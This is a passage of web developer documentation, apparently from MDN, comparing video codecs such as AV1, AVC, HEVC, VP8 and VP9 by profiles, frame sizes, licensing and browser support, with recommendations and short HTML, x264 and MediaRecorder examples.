The absolute minimum frame rate that a video can be before its contents are no longer perceived as motion by the human eye is about 12 frames per second. Less than that, and the video becomes a series of still images. Motion picture film is typically 24 frames per second, while standard definition television is about 30 frames per second (slightly less, but close enough) and high definition television is between 24 and 60 frames per second. Anything from 24 FPS upward will generally be seen as satisfactorily smooth; 30 or 60 FPS is an ideal target, depending on your needs.

+ +

In the end, the decisions about what sacrifices you're able to make are entirely up to you and/or your design team.

+ +

Codec details

+ +

AV1

+ +

The AOMedia Video 1 (AV1) codec is an open format designed by the Alliance for Open Media specifically for internet video. It achieves higher data compression rates than {{anch("VP9")}} and {{anch("HEVC", "H.265/HEVC")}}, and as much as 50% higher rates than AVC. AV1 is fully royalty-free and is designed for use by both the {{HTMLElement("video")}} element and by WebRTC.

+ +

AV1 currently offers three profiles: main, high, and professional with increasing support for color depths and chroma subsampling. In addition, a series of levels are specified, each defining limits on a range of attributes of the video. These attributes include frame dimensions, image area in pixels, display and decode rates, average and maximum bit rates, and limits on the number of tiles and tile columns used in the encoding/decoding process.

+ +

For example, level AV1 level 2.0 offers a maximum frame width of 2048 pixels and a maximum height of 1152 pixels, but its maximum frame size in pixels is 147,456, so you can't actually have a 2048x1152 video at level 2.0. It's worth noting, however, that at least for Firefox and Chrome, the levels are actually ignored at this time when performing software decoding, and the decoder just does the best it can to play the video given the settings provided. For compatibility's sake going forward, however, you should stay within the limits of the level you choose.

+ +

The primary drawback to AV1 at this time is that it is very new, and support is still in the process of being integrated into most browsers. Additionally, encoders and decoders are still being optimized for performance, and hardware encoders and decoders are still mostly in development rather than production. For this reason, encoding a video into AV1 format takes a very long time, since all the work is done in software.

+ +

For the time being, because of these factors, AV1 is not yet ready to be your first choice of video codec, but you should watch for it to be ready to use in the future.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesVaries depending on the video's level; theoretical maximum reaches 800 Mbps at level 6.3[2]
Supported frame ratesVaries by level; for example, level 2.0 has a maximum of 30 FPS while level 6.3 can reach 120 FPS
CompressionLossy DCT-based algorithm
Supported frame sizes8 x 8 pixels to 65,535 x 65535 pixels with each dimension allowed to take any value between these
Supported color modes + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Main8 or 104:0:0 (greyscale) or 4:2:0
High8 or 104:0:0 (greyscale), 4:2:0, or 4:4:4
Professional8, 10, or 124:0:0 (greyscale), 4:2:0, 4:2:2, or 4:4:4
+
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AV1 support707567No57No
+
Container supportISOBMFF[1], MPEG-TS, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationAlliance for Open Media
Specificationhttps://aomediacodec.github.io/av1-spec/av1-spec.pdf
LicensingRoyalty-free, open standard
+ +

[1] {{interwiki("wikipedia", "ISO Base Media File Format")}}

+ +

[2] See the AV1 specification's tables of levels, which describe the maximum resolutions and rates at each level.

+ +

AVC (H.264)

+ +

The MPEG-4 specification suite's Advanced Video Coding (AVC) standard is specified by the identical ITU H.264 specification and the MPEG-4 Part 10 specification. It's a motion compensation based codec that is widely used today for all sorts of media, including broadcast television, {{Glossary("RTP")}} videoconferencing, and as the video codec for Blu-Ray discs.

+ +

AVC is highly flexible, with a number of profiles with varying capabilities; for example, the Constrained Baseline Profile is designed for use in videoconferencing and mobile scenarios, using less bandwidth than the Main Profile (which is used for standard definition digital TV in some regions) or the High Profile (used for Blu-Ray Disc video). Most of the profiles use 8-bit color components and 4:2:0 chroma subsampling; The High 10 Profile adds support for 10-bit color, and advanced forms of High 10 add 4:2:2 and 4:4:4 chroma subsampling.

+ +

AVC also has special features such as support for multiple views of the same scene (Multiview Video Coding), which allows, among other things, the production of stereoscopic video.

+ +

AVC is a proprietary format, however, and numerous patents are owned by multiple parties regarding its technologies. Commercial use of AVC media requires a license, though the MPEG LA patent pool does not require license fees for streaming internet video in AVC format as long as the video is free for end users.

+ +

Non-web browser implementations of WebRTC (any implementation which doesn't include the JavaScript APIs) are required to support AVC as a codec in WebRTC calls. While web browsers are not required to do so, some do.

+ +

In HTML content for web browsers, AVC is broadly compatible and many platforms support hardware encoding and decoding of AVC media. However, be aware of its licensing requirements before choosing to use AVC in your project!

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesVaries by level
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm, though it's possible to create lossless macroblocks within the image
Supported frame sizesUp to 8,192 x 4,320 pixels
Supported color modes +

Some of the more common or interesting profiles:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Constrained Baseline (CBP)84:2:0
Baseline (BP)84:2:0
Extended (XP)84:2:0
Main (MP)84:2:0
High (HiP)84:0:0 (greyscale) and 4:2:0
Progressive High (ProHiP)84:0:0 (greyscale) and 4:2:0
High 10 (Hi10P)8 to 104:0:0 (greyscale) and 4:2:0
High 4:2:2 (Hi422P)8 to 104:0:0 (greyscale), 4:2:0, and 4:2:2
High 4:4:4 Predictive8 to 144:0:0 (greyscale), 4:2:0, 4:2:2, and 4:4:4
+
HDR supportYes; {{interwiki("wikipedia", "Hybrid Log-Gamma")}} or Advanced HDR/SL-HDR; both are part of ATSC
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AVC/H.265 support41235[1]9253.2
+
Container support3GP, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding
+ https://www.itu.int/rec/T-REC-H.264
LicensingProprietary with numerous patents. Commercial use requires a license. Note that multiple patent pools may apply.
+ +

[1] Firefox support for AVC is dependent upon the operating system's built-in or preinstalled codecs for AVC and its container in order to avoid patent concerns.

+ +

H.263

+ +

ITU's H.263 codec was designed primarily for use in low-bandwidth situations. In particular, its focus is for video conferencing on PSTN (Public Switched Telephone Networks), {{Glossary("RTSP")}}, and SIP (IP-based videoconferencing) systems. Despite being optimized for low-bandwidth networks, it is fairly CPU intensive and may not perform adequately on lower-end computers. The data format is similar to that of MPEG-4 Part 2.

+ +

H.263 has never been widely used on the web. Variations on H.263 have been used as the basis for other proprietary formats, such as Flash video or the Sorenson codec. However, no major browser has ever included H.263 support by default. Certain media plugins have enabled support for H.263 media.

+ +

Unlike most codecs, H.263 defines fundamentals of an encoded video in terms of the maximum bit rate per frame (picture), or BPPmaxKb. During encoding, a value is selected for BPPmaxKb, and then the video cannot exceed this value for each frame. The final bit rate will depend on this, the frame rate, the compression, and the chosen resolution and block format.

+ +

H.263 has been superseded by H.264 and is therefore considered a legacy media format which you generally should avoid using if you can. The only real reason to use H.263 in new projects is if you require support on very old devices on which H.263 is your best choice.

+ +

H.263 is a proprietary format, with patents held by a number of organizations and companies, including Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm, and so on. To use H.263, you are legally obligated to obtain the appropriate licenses.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUnrestricted, but typically below 64 Kbps
Supported frame ratesAny
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 1408 x 1152 pixels[2]
Supported color modesYCbCr; each picture format (sub-QCIF, QCIF, CIF, 4CIF, or 16CIF)  defines the frame size in pixels as well as how many rows each of luminance and chrominance samples are used for each frame
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
H.263 supportNoNoNo[1]NoNoNo
+
Container support3GP, MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU
Specificationhttps://www.itu.int/rec/T-REC-H.263/
LicensingProprietary; appropriate license or licenses are required. Note that multiple patent pools may apply.
+ +

[1] While Firefox does not generally support H.263, the OpenMax platform implementation (used for the Boot to Gecko project upon which Firefox OS was based) did support H.263 in 3GP files.

+ +

[2] Version 1 of H.263 specifies a set of picture sizes which are supported. Later versions may support additional resolutions.

+ +

HEVC (H.265)

+ +

The High Efficiency Video Coding (HVEC) codec is defined by ITU's H.265 as well as by MPEG-H Part 2 (the still in-development follow-up to MPEG-4). HEVC was designed to support efficient encoding and decoding of video in sizes including very high resolutions (including 8K video), with a structure specifically designed to let software take advantage of modern processors. Theoretically, HEVC can achieve compressed file sizes half that of {{anch("AVC")}} but with comparable image quality.

+ +

For example, each coding tree unit (CTU)—similar to the macroblock used in previous codecs—consists of a tree of luma values for each sample as well as a tree of chroma values for each chroma sample used in the same coding tree unit, as well as any required syntax elements. This structure supports easy processing by multiple cores.

+ +

An interesting feature of HEVC is that the main profile supports only 8 bit per component color with 4:2:0 chroma subsampling. Also interesting is that 4:4:4 video is handled specially. Instead of having the luma samples (representing the image's pixels in grayscale) and the Cb and Cr samples (indicating how to alter the grays to create color pixels), the three channels are instead treated as three monochrome images, one for each color, which are then combined during rendering to produce a full-color image.

+ +

HEVC is a proprietary format and is covered by a number of patents.  Licensing is managed by MPEG LA; fees are charged to developers rather than to content producers and distributors. Be sure to review the latest license terms and requirements before making a decision on whether or not to use HEVC in your app or web site!

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 800,000 Kbps
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm
Supported frame sizes128 x 96 to 8,192 x 4,320 pixels; varies by profile and level
Supported color modes +

Information below is provided for the major profiles. There are a number of other profiles available that are not included here.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Main84:2:0
Main 108 to 104:2:0
Main 128 to 124:0:0 and 4:2:0
Main 4:2:2 108 to 104:0:0, 4:2:0, and 4:2:2
Main 4:2:2 128 to 124:0:0, 4:2:0, and 4:2:2
Main 4:4:484:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 108 to 104:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 128 to 124:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 16 Intra8 to 164:0:0, 4:2:0, 4:2:2, and 4:4:4
+
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
HEVC / H.265 supportNo18[1]No[2]11[1]No11
+
Container supportMP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU / MPEG
Specificationshttp://www.itu.int/rec/T-REC-H.265
+ https://www.iso.org/standard/69668.html
LicensingProprietary; confirm your compliance with the licensing requirements. Note that multiple patent pools may apply.
+ +

[1] Internet Explorer and Edge only supports HEVC on devices with a hardware codec.

+ +

[2] Mozilla will not support HEVC while it is encumbered by patents.

+ +

MP4V-ES

+ +

The MPEG-4 Video Elemental Stream (MP4V-ES) format is part of the MPEG-4 Part 2 Visual standard. While in general, MPEG-4 part 2 video is not used by anyone because of its lack of compelling value related to other codecs, MP4V-ES does have some usage on mobile. MP4V is essentially H.263 encoding in an MPEG-4 container.

+ +

Its primary purpose is to be used to stream MPEG-4 audio and video over an {{Glossary("RTP")}} session. However, MP4V-ES is also used to transmit MPEG-4 audio and video over a mobile connection using 3GP.

+ +

You almost certainly don't want to use this format, since it isn't supported in a meaningful way by any major browsers, and is quite obsolete. Files of this type should have the extension .mp4v, but sometimes are inaccurately labeled .mp4.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit rates5 Kbps to 1 Gbps and more
Supported frame ratesNo specific limit; restricted only by the data rate
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,096 x 4,096 pixels
Supported color modesYCrCb with chroma subsampling (4:2:0, 4:2:2, and 4:4:4) supported; up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MP4V-ES supportNo[2]NoYes[1]NoNoNo
+
Container support3GP, MP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specification{{RFC(6416)}}
LicensingProprietary; obtain a license through MPEG LA and/or AT&T as needed
+ +

[1] Firefox supports MP4V-ES in 3GP containers only.

+ +

[2] Chrome does not support MP4V-ES; however, Chrome OS does.

+ +

MPEG-1 Part 2 Video

+ +

MPEG-1 Part 2 Video was unveiled at the beginning of the 1990s. Unlike the later MPEG video standards, MPEG-1 was created solely by MPEG, without the {{Glossary("ITU", "ITU's")}} involvement.

+ +

Because any MPEG-2 decoder can also play MPEG-1 video, it's compatible with a wide variety of software and hardware devices. There are no active patents remaining in relation to MPEG-1 video, so it may be used free of any licensing concerns. However, few web browsers support MPEG-1 video without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-1 a poor choice for use in web sites and web applications.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 1.5 Mbps
Supported frame rates23.976 FPS, 24 FPS, 25 FPS, 29.97 FPS, 30 FPS, 50 FPS, 59.94 FPS, and 60 FPS
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,095 x 4,095 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling with up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-1 supportNoNoNoNoNoYes
+
Container supportMPEG
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specificationhttps://www.iso.org/standard/22411.html
LicensingProprietary; however, all patents have expired, so MPEG-1 may be used freely
+ +

MPEG-2 Part 2 Video

+ +

MPEG-2 Part 2 is the video format defined by the MPEG-2 specification, and is also occasionally referred to by its {{Glossary("ITU")}} designation, H.262. It is very similar to MPEG-1 video—in fact, any MPEG-2 player can automatically handle MPEG-1 without any special work—except it has been expanded to support higher bit rates and enhanced encoding techniques.

+ +

The goal was to allow MPEG-2 to compress standard definition television, so interlaced video is also supported. The standard definition compression rate and the quality of the resulting video met needs well enough that MPEG-2 is the primary video codec used for DVD video media.

+ +

MPEG-2 has several profiles available with different capabilities. Each profile is then available four levels, each of which increases attributes of the video, such as frame rate, resolution, bit rate, and so forth. Most profiles use Y'CbCr with 4:2:0 chroma subsampling, but more advanced profiles support 4:2:2 as well. In addition, there are four levels, each of which offers  support for larger frame dimensions and bit rates. For example, the {{interwiki("wikipedia", "ATSC standards", "ATSC")}} specification for television used in North America supports MPEG-2 video in high definition using the Main Profile at High Level, allowing 4:2:0 video at both 1920 x 1080 (30 FPS) and 1280 x 720 (60 FPS), at a maximum bit rate of 80 Mbps.

+ +

However, few web browsers support MPEG-2 without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-2 a poor choice for use in web sites and web applications.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 100 Mbps; varies by level and profile
Supported frame rates + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Abbr.Level nameFrame rates supported
LLLow Level23.9, 24, 25, 29.97, 30
MLMain Level23.976, 24, 25, 29.97, 30
H-14High 144023.976, 24, 26, 29.97, 30, 50, 59.94, 60
HLHigh Level23.976, 24, 26, 29.97, 30, 50, 59.94, 60
+
CompressionLossy DCT-based algorithm
Supported frame sizes + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Abbr.Level nameMaximum frame size
LLLow Level352 x 288 pixels
MLMain Level720 x 576 pixels
H-14High 14401440 x 1152 pixels
HLHigh Level1920 x 1152 pixels
+
Supported color modesY'CbCr with 4:2:0 chroma subsampling in most profiles; the "High" and "4:2:2" profiles support 4:2:2 chroma subsampling as well.
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-2 supportNoNoNoNoNoYes
+
Container supportMPEG, MPEG-TS (MPEG Transport Stream), MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://www.itu.int/rec/T-REC-H.262
+ https://www.iso.org/standard/61152.html
LicensingProprietary; all patents have expired worldwide with the exception of in Malaysia and the Philippines as of April 1, 2019, so MPEG-2 can be used freely outside those two countries. Patents are licensed by MPEG LA.
+ +

Theora

+ +

{{interwiki("wikipedia", "Theora")}}, developed by Xiph.org, is an open and free video codec which may be used without royalties  or licensing. Theora is comparable in quality and compression rates to MPEG-4 Part 2 Visual and AVC, making it a very good if not top-of-the-line choice for video encoding. But its status as being free from any licensing concerns and its relatively low CPU resource requirements make it a popular choice for many software and web projects. The low CPU impact is particularly useful since there are no hardware decoders available for Theora.

+ +

Theora was originally based upon the VC3 codec by On2 Technologies. The codec and its specification were released under the LGPL license and entrusted to Xiph.org, which then developed it into the Theora standard.

+ +

One drawback to Theora is that it only supports 8 bits per color component, with no option to use 10 or more in order to avoid color banding. That said, 8 bits per component is still the most commonly-used color format in use today, so this is only a minor inconvenience in most cases. Also, Theora can only be used in an Ogg container. The biggest drawback of all, however, is that it is not supported by Safari, leaving Theora unavailable not only on macOS but on all those millions and millions of iPhones and iPads.

+ +

The Theora Cookbook offers additional details about Theora as well as the Ogg container format it is used within.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 2 Gbps
Supported frame ratesArbitrary; any non-zero value is supported. The frame rate is specified as a 32-bit numerator and a 32-bit denominator, to allow for non-integer frame rates.
CompressionLossy DCT-based algorithm
Supported frame sizesAny combination of width and height up to 1,048,560 x 1,048,560 pixels
Supported color modesY'CbCr with 4:2:0, 4:2:2, and 4:4:4 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes[1]
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
Theora support3Yes[2]3.5No10.5No
+
Container supportOgg
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationXiph.org
Specificationhttps://www.theora.org/doc/
LicensingOpen and free of royalties and any other licensing requirements
+ +

[1] While Theora doesn't support Variable Frame Rate (VFR) within a single stream, multiple streams can be chained together within a single file, and each of those can have its own frame rate, thus allowing what is essentially VFR. However, this is impractical if the frame rate needs to change frequently.

+ +

[2] Edge supports Theora with the optional Web Media Extensions add-on.

+ +

VP8

+ +

The Video Processor 8 (VP8) codec was initially created by On2 Technologies. Following their purchase of On2, Google released VP8 as an open and royalty-free video format under a promise not to enforce the relevant patents. In terms of quality and compression rate, VP8 is comparable to {{anch("AVC")}}.

+ +

If supported by the browser, VP8 allows video with an alpha channel, allowing the video to play with the background able to be seen through the video to a degree specified by each pixel's alpha component.

+ +

There is good browser support for VP8 in HTML content, especially within WebM files. This makes VP8 a good candidate for your content, although VP9 is an even better choice if available to you. Web browsers are required to support VP8 for WebRTC, but not all browsers that do so also support it in HTML audio and video elements.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 16,384 x 16,384 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP8 support2514[1]491612.1[2]
MSE compatibilityYes3
+
Container support3GP, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes; VP8 is one of the spec-required codecs for WebRTC
Supporting/Maintaining organizationGoogle
Specification{{RFC(6386)}}
LicensingOpen and free of royalties and any other licensing requirements
+ +

[1] Edge support for VP8 requires the use of Media Source Extensions.

+ +

[2] Safari only supports VP8 in WebRTC connections.

+ +

[3] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

+ +

VP9

+ +

Video Processor 9 (VP9) is the successor to the older VP8 standard developed by Google. Like VP8, VP9 is entirely open and royalty-free. Its encoding and decoding performance is comparable to or slightly faster than that of AVC, but with better quality. VP9's encoded video quality is comparable to that of HEVC at similar bit rates.

+ +

VP9's main profile supports only 8-bit color depth at 4:2:0 chroma subsampling levels, but its profiles include support for deeper color and the full range of chroma subsampling modes. It supports several HDR imiplementations, and offers substantial freedom in selecting frame rates, aspect ratios, and frame sizes.

+ +

VP9 is widely supported by browsers, and hardware implementations of the codec are fairly common. VP9 is one of the two video codecs mandated by WebM (the other being {{anch("VP8")}}). Of note, however, is that Safari supports neither WebM nor VP9, so if you choose to use VP9, be sure to offer a fallback format such as AVC or HEVC for iPhone, iPad, and Mac users.

+ +

Aside from the lack of Safari support, VP9 is a good choice if you are able to use a WebM container and are able to provide a fallback video in a format such as AVC or HEVC for Safari users. This is especially true if you wish to use an open codec rather than a proprietary one. If you can't provide a fallback and aren't willing to sacrifice Safari compatibility, VP9 in WebM is a good option. Otherwise, you should probably consider a different codec.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 65,536 x 65,536 pixels
Supported color modes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Profile 084:2:0
Profile 184:2:0, 4:2:2, and 4:4:4
Profile 210 to 124:2:0
Profile 310 to 124:2:0, 4:2:2, and f:4:4
+ +

Color spaces supported: {{interwiki("wikipedia", "Rec. 601")}}, {{interwiki("wikipedia", "Rec. 709")}}, {{interwiki("wikipedia", "Rec. 2020")}}, {{interwiki("wikipedia", "SMPTE C")}}, SMPTE-240M (obsolete; replaced by Rec. 709), and {{interwiki("wikipedia", "sRGB")}}.

+
HDR supportYes; HDR10+, HLG, and PQ
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP9 support291428No10.6No
MSE compatibilityYes1
+
Container supportMP4, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationGoogle
Specificationhttps://www.webmproject.org/vp9/
LicensingOpen and free of royalties and any other licensing requirements
+ +

[1] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

+ +

Choosing a video codec

+ +

The decision as to which codec or codecs to use begins with a series of questions to prepare yourself:

+ +
    +
  • Do you wish to use an open format, or are proprietary formats also to be considered?
  • +
  • Do you have the resources to produce more than one format for each of your videos? The ability to provide a fallback option vastly simplifies the decision-making process.
  • +
  • Are there any browsers you're willing to sacrifice compatibility with?
  • +
  • How old is the oldest version of web browser you need to support? For example, do you need to work on every browser shipped in the past five yeras, or just the past one year?
  • +
+ +

In the sections below, we offer recommended codec selections for specific use cases. For each use case, you'll find up to two reccommendations. If the codec which is considered best for the use case is proprietary or may require royalty payments, then two options are provided: first, an open and royalty-free option, followed by the proprietary one.

+ +

If you are only able to offer a single version of each video, you can choose the format that's most appropriate for your needs.The first one is recommended as being a good combnination of quality, performance, and compatibility. The second option will be the most broadly compatible choice, at the expense of some amount of quality, preformance, and/or size.

+ +

Recommendations for everyday videos

+ +

First, let's look at the best options for videos presented on a typical web site such as a blog, informational site, small business web site where videos are used to demonstrate products (but not where the videos themselves are a product), and so forth.

+ +
    +
  1. +

    A WebM container using the {{anch("VP8")}} codec for video and the Opus codec for audio. These are all open, royalty-free formats which are generally well-supported, although only in quite recent browsers, which is why a fallback is a good idea.

    + +
    <video controls src="filename.webm"></video>
    +
    +
  2. +
  3. +

    An MP4 container and the {{anch("AVC")}} (H.264) video codec, ideally with AAC as your audio codec. This is because the MP4 container with AVC and AAC codecs within is a broadly-supported combination—by every major browser, in fact—and the quality is typically good for most use cases. Make sure you verify your compliance with the license requirements, however.

    + +
    <video controls>
    +  <source type="video/webm"
    +          src="filename.webm">
    +  <source type="video/mp4"
    +          src="filename.mp4">
    +</video>
    +
    +
  4. +
+ +
+

Note: Keep in mind that the {{HTMLElement("<video>")}} element requires a closing </video> tag, whether or not you have any {{HTMLElement("source")}} elements inside it.

+
+ +

Recommendations for high-quality video presentation

+ +

If your mission is to present video at the highest possible quality, you will probably benefit from offering as many formats as possible, as the codecs capable of the best quality tend also to be the newest, and thus the most likely to have gaps in browser compatibility.

+ +
    +
  1. +

    A WebM container using AV1 for video and Opus for audio. If you're able to use the High or Professional profile when encoding AV1, at a high level like 6.3, you can get very high bit rates at 4K or 8K resolution, while maintaining excellent video quality. Encoding your audio using Opus's Fullband profile at a 48 kHz sample rate maximizes the audio bandwidth captured, capturing nearly the entire frequency range that's within human hearing.

    + +
    <video controls src="filename.webm"></video>
    +
    +
  2. +
  3. +

    An MP4 container using the {{anch("HEVC")}} codec using one of the advanced Main profiles, such as Main 4:2:2 with 10 or 12 bits of color depth, or even the Main 4:4:4 profile at up to 16 bits per component. At a high bit rate, this provides excellent graphics quality with remarkable color reproduction.  In addition, you can optionally include HDR metadata to provide high dynamic range video. For audio, use the AAC codec at a high sample rate (at least 48 kHz but ideally 96kHz) and encoded with complex encoding rather than fast encoding.

    + +
    <video controls>
    +  <source type="video/webm"
    +          src="filename.webm">
    +  <source type="video/mp4"
    +          src="filename.mp4">
    +</video>
    +
    +
  4. +
+ +

Recommendations for archival, editing, or remixing

+ +

There are not currently any lossless—or even near-lossless—video codecs generally available in web browsers. The reason for this is simple: video is huge. Lossless compression is by definition less effective than lossy compression. For example, uncompressed 1080p video (1920 by 1080 pixels) with 4:2:0 chroma subsampling needs at least 1.5 Gbps. Using lossless compression such as FFV1 (which is not supported by web browsers) could perhaps reduce that to somewhere around 600 Mbps, depending on the content. That's still a huge number of bits to pump through a connection every second, and is not currently practical for any real-world use.

+ +

This is the case even though some of the lossy codecs have a lossless mode available; the lossless modes are not implemented in any current web browsers. The best you can do is to select a high-quality codec that uses lossy compression and configure it to perform as little compression as possible. One way to do this is to configure the codec to use "fast" compression, which inherently means less compression is achieved.

+ +

Preparing video externally

+ +

To prepare video for archival purposes from outside your web site or app, use a utility that performs compression on the original uncompressed video data. For example, the free x264 utility can be used to encode video in {{anch("AVC")}} format using a very high bit rate:

+ +
x264 --crf 18 -preset ultrafast --output outfilename.mp4 infile
+ +

While other codecs may have better best-case quality levels when compressing the video by a significant margin, their encoders tend to be slow enough that the nearly-lossless encoding you get with this compression is vastly faster at about the same overall quality level.

+ +

Recording video

+ +

Given the constraints on how close to lossless you can get, you might consider using {{anch("AVC")}} or {{anch("AV1")}}. For example, if you're using the MediaStream Recording API to record video, you might use code like the following when creating your {{domxref("MediaRecorder")}} object:

+ +
const kbps = 1024;
+const Mbps = kbps*kbps;
+
+const options = {
+  mimeType: 'video/webm; codecs="av01.2.19H.12.0.000.09.16.09.1, flac"',
+  bitsPerSecond: 800*Mbps,
+};
+
+let recorder = new MediaRecorder(sourceStream, options);
+ +

This example creates a MediaRecorder configured to record {{anch("AV1")}} video using BT.2100 HDR in 12-bit color with 4:4:4 chroma subsampling and FLAC for lossless audio. The resulting file will use a bit rate of no more than 800 Mbps shared between the video and audio tracks. You will likely need to adjust these values depending on hardware performance, your requirements, and the specific codecs you choose to use. This bit rate is obviously not realistic for network transmission and would likely only be used locally.

+ +

Breaking down the value of the codecs parameter into its dot-delineated properties, we see the following:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDesccription
av01The four-character code (4CC) designation identifying the {{anch("AV1")}} codec.
2The profile. A value of 2 indicates the Professional profile. A value of 1 is the High profile, while a value of 0 would specify the Main profile.
19HThe level and tier. This value comes from the table in section A.3 of the AV1 specification, and indicates the high tier of Level 6.3.
12The color depth. This indicates 12 bits per component. Other possible values are 8 and 10, but 12 is the highest-accuracy color representation available in AV1.
0The monochrome mode flag. If 1, then no chroma planes would be recorded, and all data should be structly luma data, resulting in a greyscale image. We've specified 0 because we want color.
000The chroma subsampling mode, taken from section 6.4.2 in the AV1 specification. A value of 000, combined with the monochrome mode value 0, indicates that we want 4:4:4 chroma subsampling, or no loss of color data.
09The color primaries to use. This value comes from section 6.4.2 in the AV1 specification; 9 indicates that we want to use BT.2020 color, which is used for HDR.
16The transfer characteristics to use. This comes from section 6.4.2 as well; 16 indicates that we want to use the characteristics for BT.2100 PQ color.
09The matrix coefficents to use, from the section 6.4.2 again. A value of 9 specifies that we want to use BT.2020 with variable luminance; this is also known as BT.2010 YbCbCr.
1The video "full range" flag. A value of 1 indicates that we want the full color range to be used.
+ +

